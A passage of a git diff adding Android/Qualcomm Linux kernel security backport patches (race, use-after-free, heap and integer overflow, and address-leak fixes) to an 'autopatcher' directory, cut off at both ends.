task_tgid_nr_ns+0x2c/0x44 at addr *** +Read of size 8 by task cat/2472 +CPU: 1 PID: 2472 Comm: cat Tainted: **** +Hardware name: Google Tegra210 Smaug Rev 1,3+ (DT) +Call trace: +[] dump_backtrace+0x0/0x17c +[] show_stack+0x18/0x24 +[] dump_stack+0x94/0x100 +[] kasan_report+0x308/0x554 +[] __asan_load8+0x20/0x7c +[] task_tgid_nr_ns+0x28/0x44 +[] proc_pid_status+0x444/0x1080 +[] proc_single_show+0x8c/0xdc +[] seq_read+0x2e8/0x6f0 +[] vfs_read+0xd8/0x1e0 +[] SyS_read+0x68/0xd4 + +Accessing group_leader while holding rcu_lock and using the now safe +helpers introduced in the commit mentioned, this race condition is +addressed. + +Signed-off-by: Adrian Salido +Change-Id: I4315217922dda375a30a3581c0c1740dda7b531b +Bug: 31495866 +--- + fs/proc/array.c | 10 +++++----- + 1 file changed, 5 insertions(+), 5 deletions(-) + +diff --git a/fs/proc/array.c b/fs/proc/array.c +index 09f0d9c374a32..6ed95802239df 100644 +--- a/fs/proc/array.c ++++ b/fs/proc/array.c +@@ -168,16 +168,16 @@ static inline void task_state(struct seq_file *m, struct pid_namespace *ns, + int g; + struct fdtable *fdt = NULL; + const struct cred *cred; +- pid_t ppid, tpid; ++ pid_t ppid = 0, tpid = 0; ++ struct task_struct *leader = NULL; + + rcu_read_lock(); +- ppid = pid_alive(p) ? +- task_tgid_nr_ns(rcu_dereference(p->real_parent), ns) : 0; +- tpid = 0; + if (pid_alive(p)) { + struct task_struct *tracer = ptrace_parent(p); + if (tracer) + tpid = task_pid_nr_ns(tracer, ns); ++ ppid = task_tgid_nr_ns(rcu_dereference(p->real_parent), ns); ++ leader = p->group_leader; + } + cred = get_task_cred(p); + seq_printf(m, +@@ -189,7 +189,7 @@ static inline void task_state(struct seq_file *m, struct pid_namespace *ns, + "Uid:\t%d\t%d\t%d\t%d\n" + "Gid:\t%d\t%d\t%d\t%d\n", + get_task_state(p), +- task_tgid_nr_ns(p, ns), ++ leader ? task_pid_nr_ns(leader, ns) : 0, + pid_nr_ns(pid, ns), + ppid, tpid, + from_kuid_munged(user_ns, cred->uid), diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0333-6f1a57c91f15-msm ADSPRPC Buffer length truncated while validation.patch b/recipes-kernel/linux/linux-bass/autopatcher/0333-6f1a57c91f15-msm ADSPRPC Buffer length truncated while validation.patch new file mode 100644 index 0000000..9563350 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0333-6f1a57c91f15-msm ADSPRPC Buffer length truncated while validation.patch @@ -0,0 +1,33 @@ +From 6f1a57c91f15ed0ce19bbc1776b0953c63f7bd7b Mon Sep 17 00:00:00 2001 +From: Sathish Ambley +Date: Fri, 2 Dec 2016 12:54:53 -0800 +Subject: msm: ADSPRPC: Buffer length truncated while validation + +The buffer length that is being used to validate gets truncated +due to it being assigned to wrong type causing invalid memory +to be accessed when the actual buffer length is used to copy +user buffer contents. + +Change-Id: If04dee27b8bae04eef7455773d9f4327fd008a21 +Signed-off-by: Sathish Ambley +--- + drivers/char/adsprpc.c | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +diff --git a/drivers/char/adsprpc.c b/drivers/char/adsprpc.c +index a4d01f7..f505d09 100644 +--- a/drivers/char/adsprpc.c ++++ b/drivers/char/adsprpc.c +@@ -719,7 +719,8 @@ static int get_page_list(uint32_t kernel, struct smq_invoke_ctx *ctx) + pgstart->size = obuf->size; + for (i = 0; i < inbufs + outbufs; ++i) { + void *buf; +- int len, num; ++ int num; ++ ssize_t len; + + list[i].num = 0; + list[i].pgidx = 0; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0334-d4dfd82835bb-android fiqdebugger restrict access to critical commands.patch b/recipes-kernel/linux/linux-bass/autopatcher/0334-d4dfd82835bb-android fiqdebugger restrict access to critical commands.patch new file mode 100644 index 0000000..9ae4f42 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0334-d4dfd82835bb-android fiqdebugger restrict access to critical commands.patch @@ -0,0 +1,206 @@ +From d4dfd82835bb6f92de3bfb8a1cbf6beaf892ad08 Mon Sep 17 00:00:00 2001 +From: Mark Salyzyn +Date: Tue, 20 Dec 2016 15:59:19 -0800 +Subject: android: fiq_debugger: restrict access to critical commands. + +Sysrq must be enabled via /proc/sys/kernel/sysrq as a security +measure to enable various critical fiq debugger commands that +either leak information or can be used as a system attack. + +Default disabled, this will leave the reboot, reset, irqs, sleep, +nosleep, console and ps commands. Reboot and reset commands +will be restricted from taking any parameters. We will also +switch to showing the limited command set in this mode. + +Signed-off-by: Mark Salyzyn +Bug: 32402555 +Change-Id: I3f74b1ff5e4971d619bcb37a911fed68fbb538d5 +[d-cagle@codeaurora.org: Resolve merge conflict] +Git-repo: https://android.googlesource.com/kernel/msm +Git-commit: 1031836c0895f1f5a05c25efec83bfa11aa08ca9 +Signed-off-by: Dennis Cagle +--- + .../staging/android/fiq_debugger/fiq_debugger.c | 86 ++++++++++++++-------- + drivers/tty/sysrq.c | 3 +- + include/linux/sysrq.h | 1 + + 3 files changed, 57 insertions(+), 33 deletions(-) + +diff --git a/drivers/staging/android/fiq_debugger/fiq_debugger.c b/drivers/staging/android/fiq_debugger/fiq_debugger.c +index 7d6b4ae..ceb45bc9e 100644 +--- a/drivers/staging/android/fiq_debugger/fiq_debugger.c ++++ b/drivers/staging/android/fiq_debugger/fiq_debugger.c +@@ -30,6 +30,7 @@ + #include + #include + #include ++#include + #include + #include + #include +@@ -395,7 +396,7 @@ static void fiq_debugger_work(struct work_struct *work) + cmd += 6; + while (*cmd == ' ') + cmd++; +- if (cmd != '\0') ++ if ((cmd != '\0') && sysrq_on()) + kernel_restart(cmd); + else + kernel_restart(NULL); +@@ -425,29 +426,39 @@ static void fiq_debugger_irq_exec(struct fiq_debugger_state *state, char *cmd) + static void fiq_debugger_help(struct fiq_debugger_state *state) + { + fiq_debugger_printf(&state->output, +- "FIQ Debugger commands:\n" +- " pc PC status\n" +- " regs Register dump\n" +- " allregs Extended Register dump\n" +- " bt Stack trace\n" +- " reboot [] Reboot with command \n" +- " reset [] Hard reset with command \n" +- " irqs Interupt status\n" +- " kmsg Kernel log\n" +- " version Kernel version\n"); +- fiq_debugger_printf(&state->output, +- " sleep Allow sleep while in FIQ\n" +- " nosleep Disable sleep while in FIQ\n" +- " console Switch terminal to console\n" +- " cpu Current CPU\n" +- " cpu Switch to CPU\n"); ++ "FIQ Debugger commands:\n"); ++ if (sysrq_on()) { ++ fiq_debugger_printf(&state->output, ++ " pc PC status\n" ++ " regs Register dump\n" ++ " allregs Extended Register dump\n" ++ " bt Stack trace\n"); ++ fiq_debugger_printf(&state->output, ++ " reboot [] Reboot with command \n" ++ " reset [] Hard reset with command \n" ++ " irqs Interrupt status\n" ++ " kmsg Kernel log\n" ++ " version Kernel version\n"); ++ fiq_debugger_printf(&state->output, ++ " cpu Current CPU\n" ++ " cpu Switch to CPU\n" ++ " sysrq sysrq options\n" ++ " sysrq Execute sysrq with \n"); ++ } else { ++ fiq_debugger_printf(&state->output, ++ " reboot Reboot\n" ++ " reset Hard reset\n" ++ " irqs Interrupt status\n"); ++ } + fiq_debugger_printf(&state->output, +- " ps Process list\n" +- " sysrq sysrq options\n" +- " sysrq Execute sysrq with \n"); ++ " sleep Allow sleep while in FIQ\n" ++ " nosleep Disable sleep while in FIQ\n" ++ " console Switch terminal to console\n" ++ " ps Process list\n"); + #ifdef CONFIG_KGDB +- fiq_debugger_printf(&state->output, +- " kgdb Enter kernel debugger\n"); ++ if (fiq_kgdb_enable) { ++ fiq_debugger_printf(&state->output, ++ " kgdb Enter kernel debugger\n"); + #endif + } + +@@ -479,18 +490,23 @@ static bool fiq_debugger_fiq_exec(struct fiq_debugger_state *state, + if (!strcmp(cmd, "help") || !strcmp(cmd, "?")) { + fiq_debugger_help(state); + } else if (!strcmp(cmd, "pc")) { +- fiq_debugger_dump_pc(&state->output, regs); ++ if (sysrq_on()) ++ fiq_debugger_dump_pc(&state->output, regs); + } else if (!strcmp(cmd, "regs")) { +- fiq_debugger_dump_regs(&state->output, regs); ++ if (sysrq_on()) ++ fiq_debugger_dump_regs(&state->output, regs); + } else if (!strcmp(cmd, "allregs")) { +- fiq_debugger_dump_allregs(&state->output, regs); ++ if (sysrq_on()) ++ fiq_debugger_dump_allregs(&state->output, regs); + } else if (!strcmp(cmd, "bt")) { +- fiq_debugger_dump_stacktrace(&state->output, regs, 100, svc_sp); ++ if (sysrq_on()) ++ fiq_debugger_dump_stacktrace(&state->output, regs, ++ 100, svc_sp); + } else if (!strncmp(cmd, "reset", 5)) { + cmd += 5; + while (*cmd == ' ') + cmd++; +- if (*cmd) { ++ if (*cmd && sysrq_on()) { + char tmp_cmd[32]; + strlcpy(tmp_cmd, cmd, sizeof(tmp_cmd)); + machine_restart(tmp_cmd); +@@ -500,9 +516,12 @@ static bool fiq_debugger_fiq_exec(struct fiq_debugger_state *state, + } else if (!strcmp(cmd, "irqs")) { + fiq_debugger_dump_irqs(state); + } else if (!strcmp(cmd, "kmsg")) { +- fiq_debugger_dump_kernel_log(state); ++ if (sysrq_on()) ++ fiq_debugger_dump_kernel_log(state); + } else if (!strcmp(cmd, "version")) { +- fiq_debugger_printf(&state->output, "%s\n", linux_banner); ++ if (sysrq_on()) ++ fiq_debugger_printf(&state->output, "%s\n", ++ linux_banner); + } else if (!strcmp(cmd, "sleep")) { + state->no_sleep = false; + fiq_debugger_printf(&state->output, "enabling sleep\n"); +@@ -514,14 +533,17 @@ static bool fiq_debugger_fiq_exec(struct fiq_debugger_state *state, + fiq_debugger_uart_flush(state); + state->console_enable = true; + } else if (!strcmp(cmd, "cpu")) { +- fiq_debugger_printf(&state->output, "cpu %d\n", state->current_cpu); +- } else if (!strncmp(cmd, "cpu ", 4)) { ++ if (sysrq_on()) ++ fiq_debugger_printf(&state->output, "cpu %d\n", ++ state->current_cpu); ++ } else if (!strncmp(cmd, "cpu ", 4) && sysrq_on()) { + unsigned long cpu = 0; + if (strict_strtoul(cmd + 4, 10, &cpu) == 0) + fiq_debugger_switch_cpu(state, cpu); + else + fiq_debugger_printf(&state->output, "invalid cpu\n"); +- fiq_debugger_printf(&state->output, "cpu %d\n", state->current_cpu); ++ fiq_debugger_printf(&state->output, "cpu %d\n", ++ state->current_cpu); + } else { + if (state->debug_busy) { + fiq_debugger_printf(&state->output, +diff --git a/drivers/tty/sysrq.c b/drivers/tty/sysrq.c +index b51c154..08c9406 100644 +--- a/drivers/tty/sysrq.c ++++ b/drivers/tty/sysrq.c +@@ -55,10 +55,11 @@ static bool __read_mostly sysrq_always_enabled; + unsigned short platform_sysrq_reset_seq[] __weak = { KEY_RESERVED }; + int sysrq_reset_downtime_ms __weak; + +-static bool sysrq_on(void) ++bool sysrq_on(void) + { + return sysrq_enabled || sysrq_always_enabled; + } ++EXPORT_SYMBOL(sysrq_on); + + /* + * A value of 1 means 'all', other nonzero values are an op mask: +diff --git a/include/linux/sysrq.h b/include/linux/sysrq.h +index 7faf933..5a0bd93 100644 +--- a/include/linux/sysrq.h ++++ b/include/linux/sysrq.h +@@ -45,6 +45,7 @@ struct sysrq_key_op { + * are available -- else NULL's). + */ + ++bool sysrq_on(void); + void handle_sysrq(int key); + void __handle_sysrq(int key, bool check_mask); + int register_sysrq_key(int key, struct sysrq_key_op *op); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0335-e1fb1600fc22-PATCH input synaptics put offset checks under mutex.patch b/recipes-kernel/linux/linux-bass/autopatcher/0335-e1fb1600fc22-PATCH input synaptics put offset checks under mutex.patch new file mode 100644 index 0000000..e4a248b --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0335-e1fb1600fc22-PATCH input synaptics put offset checks under mutex.patch @@ -0,0 +1,118 @@ +From e1fb1600fc222337989e3084d68df929882deae5 Mon Sep 17 00:00:00 2001 +From: Andrew Chant +Date: Tue, 17 Jan 2017 07:37:52 -0800 +Subject: [PATCH] input: synaptics: put offset checks under mutex. + +Place file offset validity checks under mutex. + +BUG: 33555878 +BUG: 33002026 + +Change-Id: I1945cfc8af7d1a310ae0d7bbb85002d4c448f30b +Signed-off-by: Andrew Chant +--- + drivers/input/touchscreen/synaptics_rmi_dev.c | 52 ++++++++++++++++++--------- + 1 file changed, 36 insertions(+), 16 deletions(-) + +diff --git a/drivers/input/touchscreen/synaptics_rmi_dev.c b/drivers/input/touchscreen/synaptics_rmi_dev.c +index e2d7c27eb6832..e7c19d00c0544 100644 +--- a/drivers/input/touchscreen/synaptics_rmi_dev.c ++++ b/drivers/input/touchscreen/synaptics_rmi_dev.c +@@ -299,18 +299,26 @@ static ssize_t rmidev_read(struct file *filp, char __user *buf, + return -EBADF; + } + +- if (count == 0) +- return 0; ++ mutex_lock(&(dev_data->file_mutex)); + + if (count > (REG_ADDR_LIMIT - *f_pos)) + count = REG_ADDR_LIMIT - *f_pos; + +- tmpbuf = kzalloc(count + 1, GFP_KERNEL); +- if (!tmpbuf) +- return -ENOMEM; ++ if (count == 0) { ++ retval = 0; ++ goto unlock; ++ } + +- mutex_lock(&(dev_data->file_mutex)); ++ if (*f_pos > REG_ADDR_LIMIT) { ++ retval = -EFAULT; ++ goto unlock; ++ } + ++ tmpbuf = kzalloc(count + 1, GFP_KERNEL); ++ if (!tmpbuf) { ++ retval = -ENOMEM; ++ goto unlock; ++ } + retval = rmidev->fn_ptr->read(rmidev->rmi4_data, + *f_pos, + tmpbuf, +@@ -324,9 +332,10 @@ static ssize_t rmidev_read(struct file *filp, char __user *buf, + *f_pos += retval; + + clean_up: ++ kfree(tmpbuf); ++unlock: + mutex_unlock(&(dev_data->file_mutex)); + +- kfree(tmpbuf); + return retval; + } + +@@ -350,23 +359,32 @@ static ssize_t rmidev_write(struct file *filp, const char __user *buf, + return -EBADF; + } + +- if (count == 0) +- return 0; ++ mutex_lock(&(dev_data->file_mutex)); ++ ++ if (*f_pos > REG_ADDR_LIMIT) { ++ retval = -EFAULT; ++ goto unlock; ++ } + + if (count > (REG_ADDR_LIMIT - *f_pos)) + count = REG_ADDR_LIMIT - *f_pos; + ++ if (count == 0) { ++ retval = 0; ++ goto unlock; ++ } ++ + tmpbuf = kzalloc(count + 1, GFP_KERNEL); +- if (!tmpbuf) +- return -ENOMEM; ++ if (!tmpbuf) { ++ retval = -ENOMEM; ++ goto unlock; ++ } + + if (copy_from_user(tmpbuf, buf, count)) { +- kfree(tmpbuf); +- return -EFAULT; ++ retval = -EFAULT; ++ goto clean_up; + } + +- mutex_lock(&(dev_data->file_mutex)); +- + retval = rmidev->fn_ptr->write(rmidev->rmi4_data, + *f_pos, + tmpbuf, +@@ -374,8 +392,10 @@ static ssize_t rmidev_write(struct file *filp, const char __user *buf, + if (retval >= 0) + *f_pos += retval; + +- mutex_unlock(&(dev_data->file_mutex)); ++clean_up: + kfree(tmpbuf); ++unlock: ++ mutex_unlock(&(dev_data->file_mutex)); + return retval; + } + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0336-389b185cb2f1-FROMLIST CHROMIUM usb gadget configfs Fix KASAN useafterfree.patch b/recipes-kernel/linux/linux-bass/autopatcher/0336-389b185cb2f1-FROMLIST CHROMIUM usb gadget configfs Fix KASAN useafterfree.patch new file mode 100644 index 0000000..9e080cd --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0336-389b185cb2f1-FROMLIST CHROMIUM usb gadget configfs Fix KASAN useafterfree.patch @@ -0,0 +1,94 @@ +From 389b185cb2f17fff994dbdf8d4bac003d4b2b6b3 Mon Sep 17 00:00:00 2001 +From: Jim Lin +Date: Fri, 13 Jan 2017 16:07:58 +0800 +Subject: FROMLIST: CHROMIUM: usb: gadget: configfs: Fix KASAN use-after-free + +When gadget is disconnected, running sequence is like this. +. android_work: sent uevent USB_STATE=DISCONNECTED +. Call trace: + usb_string_copy+0xd0/0x128 + gadget_config_name_configuration_store+0x4 + gadget_config_name_attr_store+0x40/0x50 + configfs_write_file+0x198/0x1f4 + vfs_write+0x100/0x220 + SyS_write+0x58/0xa8 +. configfs_composite_unbind +. configfs_composite_bind + +In configfs_composite_bind, it has +"cn->strings.s = cn->configuration;" + +When usb_string_copy is invoked. it would +allocate memory, copy input string, release previous pointed memory space, +and use new allocated memory. + +When gadget is connected, host sends down request to get information. +Call trace: + usb_gadget_get_string+0xec/0x168 + lookup_string+0x64/0x98 + composite_setup+0xa34/0x1ee8 + android_setup+0xb4/0x140 + +If gadget is disconnected and connected quickly, in the failed case, +cn->configuration memory has been released by usb_string_copy kfree but +configfs_composite_bind hasn't been run in time to assign new allocated +"cn->configuration" pointer to "cn->strings.s". + +When "strlen(s->s) of usb_gadget_get_string is being executed, the dangling +memory is accessed, "BUG: KASAN: use-after-free" error occurs. + +BUG=chrome-os-partner:58412 +TEST=After smaug device was connected to ubuntu PC host, detached and attached +type-C cable quickly several times without seeing +"BUG: KASAN: use-after-free in usb_gadget_get_string". + +Bug: 31614969 +Change-Id: I58240ee7c55ae8f8fb8597d14f09c5ac07abb032 +Signed-off-by: Jim Lin +Signed-off-by: Siqi Lin +(am from https://chromium-review.googlesource.com/#/c/428059/3) +--- + drivers/usb/gadget/configfs.c | 17 ++++++++++++----- + 1 file changed, 12 insertions(+), 5 deletions(-) + +diff --git a/drivers/usb/gadget/configfs.c b/drivers/usb/gadget/configfs.c +index c484d9a..f7d8a3d 100644 +--- a/drivers/usb/gadget/configfs.c ++++ b/drivers/usb/gadget/configfs.c +@@ -130,21 +130,28 @@ struct gadget_config_name { + struct list_head list; + }; + ++#define MAX_USB_STRING_LEN 126 ++#define MAX_USB_STRING_WITH_NULL_LEN (MAX_USB_STRING_LEN+1) ++ + static int usb_string_copy(const char *s, char **s_copy) + { + int ret; + char *str; + char *copy = *s_copy; + ret = strlen(s); +- if (ret > 126) ++ if (ret > MAX_USB_STRING_LEN) + return -EOVERFLOW; + +- str = kstrdup(s, GFP_KERNEL); +- if (!str) +- return -ENOMEM; ++ if (copy) { ++ str = copy; ++ } else { ++ str = kmalloc(MAX_USB_STRING_WITH_NULL_LEN, GFP_KERNEL); ++ if (!str) ++ return -ENOMEM; ++ } ++ strncpy(str, s, MAX_USB_STRING_WITH_NULL_LEN); + if (str[ret - 1] == '\n') + str[ret - 1] = '\0'; +- kfree(copy); + *s_copy = str; + return 0; + } +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0337-da638cc248f0-PATCH ASoC soc prevent risk of buffer overflow.patch b/recipes-kernel/linux/linux-bass/autopatcher/0337-da638cc248f0-PATCH ASoC soc prevent risk of buffer overflow.patch new file mode 100644 index 0000000..7d417ae --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0337-da638cc248f0-PATCH ASoC soc prevent risk of buffer overflow.patch @@ -0,0 +1,54 @@ +From da638cc248f0d692a89e26f788c43d6f641c81ef Mon Sep 17 00:00:00 2001 +From: Xiaojun Sang +Date: Fri, 04 Nov 2016 14:35:58 +0800 +Subject: [PATCH] ASoC: soc: prevent risk of buffer overflow + +In case of large value for bufcnt_t or bufcnt, +cmd_size may overflow. Buffer size allocated by cmd_size might +be not as expected. +Possible buffer overflow could happen. + +CRs-Fixed: 1084210 +Change-Id: I9556f18dd6a9fdf3f76c133ae75c04ecce171f08 +Signed-off-by: Xiaojun Sang +--- + +diff --git a/sound/soc/msm/qdsp6v2/q6asm.c b/sound/soc/msm/qdsp6v2/q6asm.c +index 31bd1d7..11a94e4 100644 +--- a/sound/soc/msm/qdsp6v2/q6asm.c ++++ b/sound/soc/msm/qdsp6v2/q6asm.c +@@ -4054,7 +4054,7 @@ + struct asm_buffer_node *buffer_node = NULL; + int rc = 0; + int i = 0; +- int cmd_size = 0; ++ uint32_t cmd_size = 0; + uint32_t bufcnt_t; + uint32_t bufsz_t; + +@@ -4076,10 +4076,25 @@ + bufsz_t = PAGE_ALIGN(bufsz_t); + } + ++ if (bufcnt_t > (UINT_MAX ++ - sizeof(struct avs_cmd_shared_mem_map_regions)) ++ / sizeof(struct avs_shared_map_region_payload)) { ++ pr_err("%s: Unsigned Integer Overflow. bufcnt_t = %u\n", ++ __func__, bufcnt_t); ++ return -EINVAL; ++ } ++ + cmd_size = sizeof(struct avs_cmd_shared_mem_map_regions) + + (sizeof(struct avs_shared_map_region_payload) + * bufcnt_t); + ++ ++ if (bufcnt > (UINT_MAX / sizeof(struct asm_buffer_node))) { ++ pr_err("%s: Unsigned Integer Overflow. bufcnt = %u\n", ++ __func__, bufcnt); ++ return -EINVAL; ++ } ++ + buffer_node = kzalloc(sizeof(struct asm_buffer_node) * bufcnt, + GFP_KERNEL); + if (!buffer_node) { diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0338-7e09f7d5c790-media uvcvideo Prevent heap overflow when accessing mapped controls.patch b/recipes-kernel/linux/linux-bass/autopatcher/0338-7e09f7d5c790-media uvcvideo Prevent heap overflow when accessing mapped controls.patch new file mode 100644 index 0000000..8fd3f85 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0338-7e09f7d5c790-media uvcvideo Prevent heap overflow when accessing mapped controls.patch @@ -0,0 +1,42 @@ +From 7e09f7d5c790278ab98e5f2c22307ebe8ad6e8ba Mon Sep 17 00:00:00 2001 +From: Guenter Roeck +Date: Tue, 8 Aug 2017 08:56:21 -0400 +Subject: media: uvcvideo: Prevent heap overflow when accessing mapped controls + +The size of uvc_control_mapping is user controlled leading to a +potential heap overflow in the uvc driver. This adds a check to verify +the user provided size fits within the bounds of the defined buffer +size. + +Originally-from: Richard Simmons + +Cc: stable@vger.kernel.org +Signed-off-by: Guenter Roeck +Reviewed-by: Laurent Pinchart +Signed-off-by: Hans Verkuil +Signed-off-by: Mauro Carvalho Chehab +--- + drivers/media/usb/uvc/uvc_ctrl.c | 7 +++++++ + 1 file changed, 7 insertions(+) + +diff --git a/drivers/media/usb/uvc/uvc_ctrl.c b/drivers/media/usb/uvc/uvc_ctrl.c +index c2ee6e39fd0ca..20397aba6849e 100644 +--- a/drivers/media/usb/uvc/uvc_ctrl.c ++++ b/drivers/media/usb/uvc/uvc_ctrl.c +@@ -2002,6 +2002,13 @@ int uvc_ctrl_add_mapping(struct uvc_video_chain *chain, + goto done; + } + ++ /* Validate the user-provided bit-size and offset */ ++ if (mapping->size > 32 || ++ mapping->offset + mapping->size > ctrl->info.size * 8) { ++ ret = -EINVAL; ++ goto done; ++ } ++ + list_for_each_entry(map, &ctrl->info.mappings, list) { + if (mapping->id == map->id) { + uvc_trace(UVC_TRACE_CONTROL, "Can't add mapping '%s', " +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0339-fcca203d8e6a-Prevent heap overflow in uvc driver.patch b/recipes-kernel/linux/linux-bass/autopatcher/0339-fcca203d8e6a-Prevent heap overflow in uvc driver.patch new file mode 100644 index 0000000..16dcf79 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0339-fcca203d8e6a-Prevent heap overflow in uvc driver.patch @@ -0,0 +1,37 @@ +From fcca203d8e6aa0ef22fa41d72a06dea393d6d148 Mon Sep 17 00:00:00 2001 +From: Robb Glasser +Date: Tue, 14 Feb 2017 13:25:46 -0800 +Subject: Prevent heap overflow in uvc driver + +The size of uvc_control_mapping is user controlled leading to a +potential heap overflow in the uvc driver. This adds a check to verify +the user provided size fits within the bounds of the defined buffer +size. + +Bug: 33300353 +Change-Id: If29c1b396633b6137966a12e38f6fd1841b045bd +Signed-off-by: Robb Glasser +Git-repo: https://android.googlesource.com/kernel/msm +Git-commit: 8bc3ec72a02052187397d0de1a7b8bbe7340451c +Signed-off-by: Dennis Cagle +--- + drivers/media/usb/uvc/uvc_ctrl.c | 3 +++ + 1 file changed, 3 insertions(+) + +diff --git a/drivers/media/usb/uvc/uvc_ctrl.c b/drivers/media/usb/uvc/uvc_ctrl.c +index a2f4501..f61d1d7 100644 +--- a/drivers/media/usb/uvc/uvc_ctrl.c ++++ b/drivers/media/usb/uvc/uvc_ctrl.c +@@ -1939,6 +1939,9 @@ int uvc_ctrl_add_mapping(struct uvc_video_chain *chain, + if (!found) + return -ENOENT; + ++ if (ctrl->info.size < mapping->size) ++ return -EINVAL; ++ + if (mutex_lock_interruptible(&chain->ctrl_mutex)) + return -ERESTARTSYS; + +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0340-28fb06421ab3-PATCH UPSTREAM tracing Fix traceprintk to print when not using.patch b/recipes-kernel/linux/linux-bass/autopatcher/0340-28fb06421ab3-PATCH UPSTREAM tracing Fix traceprintk to print when not using.patch new file mode 100644 index 0000000..5823069 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0340-28fb06421ab3-PATCH UPSTREAM tracing Fix traceprintk to print when not using.patch @@ -0,0 +1,80 @@ +From 28fb06421ab3d9256d32611138306470996cc4c1 Mon Sep 17 00:00:00 2001 +From: "Steven Rostedt (Red Hat)" +Date: Tue, 22 Mar 2016 17:30:58 -0400 +Subject: [PATCH] UPSTREAM: tracing: Fix trace_printk() to print when not using + bprintk() + +The trace_printk() code will allocate extra buffers if the compile detects +that a trace_printk() is used. To do this, the format of the trace_printk() +is saved to the __trace_printk_fmt section, and if that section is bigger +than zero, the buffers are allocated (along with a message that this has +happened). + +If trace_printk() uses a format that is not a constant, and thus something +not guaranteed to be around when the print happens, the compiler optimizes +the fmt out, as it is not used, and the __trace_printk_fmt section is not +filled. This means the kernel will not allocate the special buffers needed +for the trace_printk() and the trace_printk() will not write anything to the +tracing buffer. + +Adding a "__used" to the variable in the __trace_printk_fmt section will +keep it around, even though it is set to NULL. This will keep the string +from being printed in the debugfs/tracing/printk_formats section as it is +not needed. + +Reported-by: Vlastimil Babka +Fixes: 07d777fe8c398 "tracing: Add percpu buffers for trace_printk()" +Cc: stable@vger.kernel.org # v3.5+ +Bug: 34277115 +Signed-off-by: Steven Rostedt +Change-Id: I10ce56caa41c7644d9d290d9ed272a6d156c938c +--- + include/linux/kernel.h | 6 +++--- + kernel/trace/trace_printk.c | 3 +++ + 2 files changed, 6 insertions(+), 3 deletions(-) + +diff --git a/include/linux/kernel.h b/include/linux/kernel.h +index 44d0a02224897..0d1fa1b442209 100644 +--- a/include/linux/kernel.h ++++ b/include/linux/kernel.h +@@ -554,7 +554,7 @@ do { \ + + #define do_trace_printk(fmt, args...) \ + do { \ +- static const char *trace_printk_fmt \ ++ static const char *trace_printk_fmt __used \ + __attribute__((section("__trace_printk_fmt"))) = \ + __builtin_constant_p(fmt) ? fmt : NULL; \ + \ +@@ -601,7 +601,7 @@ extern int __trace_puts(unsigned long ip, const char *str, int size); + */ + + #define trace_puts(str) ({ \ +- static const char *trace_printk_fmt \ ++ static const char *trace_printk_fmt __used \ + __attribute__((section("__trace_printk_fmt"))) = \ + __builtin_constant_p(str) ? str : NULL; \ + \ +@@ -621,7 +621,7 @@ extern void trace_dump_stack(int skip); + #define ftrace_vprintk(fmt, vargs) \ + do { \ + if (__builtin_constant_p(fmt)) { \ +- static const char *trace_printk_fmt \ ++ static const char *trace_printk_fmt __used \ + __attribute__((section("__trace_printk_fmt"))) = \ + __builtin_constant_p(fmt) ? fmt : NULL; \ + \ +diff --git a/kernel/trace/trace_printk.c b/kernel/trace/trace_printk.c +index a9077c1b4ad3f..fdb23e84b011b 100644 +--- a/kernel/trace/trace_printk.c ++++ b/kernel/trace/trace_printk.c +@@ -272,6 +272,9 @@ static int t_show(struct seq_file *m, void *v) + const char *str = *fmt; + int i; + ++ if (!*fmt) ++ return 0; ++ + seq_printf(m, "0x%lx : \"", *(unsigned long *)fmt); + + /* diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0341-45e5a5e1b85f-PATCH tracing do not leak kernel addresses.patch b/recipes-kernel/linux/linux-bass/autopatcher/0341-45e5a5e1b85f-PATCH tracing do not leak kernel addresses.patch new file mode 100644 index 0000000..3dc8254 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0341-45e5a5e1b85f-PATCH tracing do not leak kernel addresses.patch @@ -0,0 +1,27 @@ +From 45e5a5e1b85f23843b90f3cddcfc26fa862ff80c Mon Sep 17 00:00:00 2001 +From: Nick Desaulniers +Date: Fri, 3 Mar 2017 15:40:12 -0800 +Subject: [PATCH] tracing: do not leak kernel addresses + +This likely breaks tracing tools like trace-cmd. It logs in the same +format but now addresses are all 0x0. + +Bug: 34277115 +Change-Id: Ifb0d4d2a184bf0d95726de05b1acee0287a375d9 +--- + kernel/trace/trace_printk.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/kernel/trace/trace_printk.c b/kernel/trace/trace_printk.c +index fdb23e84b011b..f423e8d551c0a 100644 +--- a/kernel/trace/trace_printk.c ++++ b/kernel/trace/trace_printk.c +@@ -275,7 +275,7 @@ static int t_show(struct seq_file *m, void *v) + if (!*fmt) + return 0; + +- seq_printf(m, "0x%lx : \"", *(unsigned long *)fmt); ++ seq_printf(m, "0x%lx : \"", 0L); + + /* + * Tabs and new lines need to be converted. diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0342.diff b/recipes-kernel/linux/linux-bass/autopatcher/0342.diff new file mode 100644 index 0000000..24a62ae --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0342.diff @@ -0,0 +1,13 @@ +diff --git a/include/linux/sysrq.h b/include/linux/sysrq.h +index 5a0bd93..d393eeb 100644 +--- a/include/linux/sysrq.h ++++ b/include/linux/sysrq.h +@@ -18,7 +18,7 @@ + #include + + /* Enable/disable SYSRQ support by default (0==no, 1==yes). */ +-#define 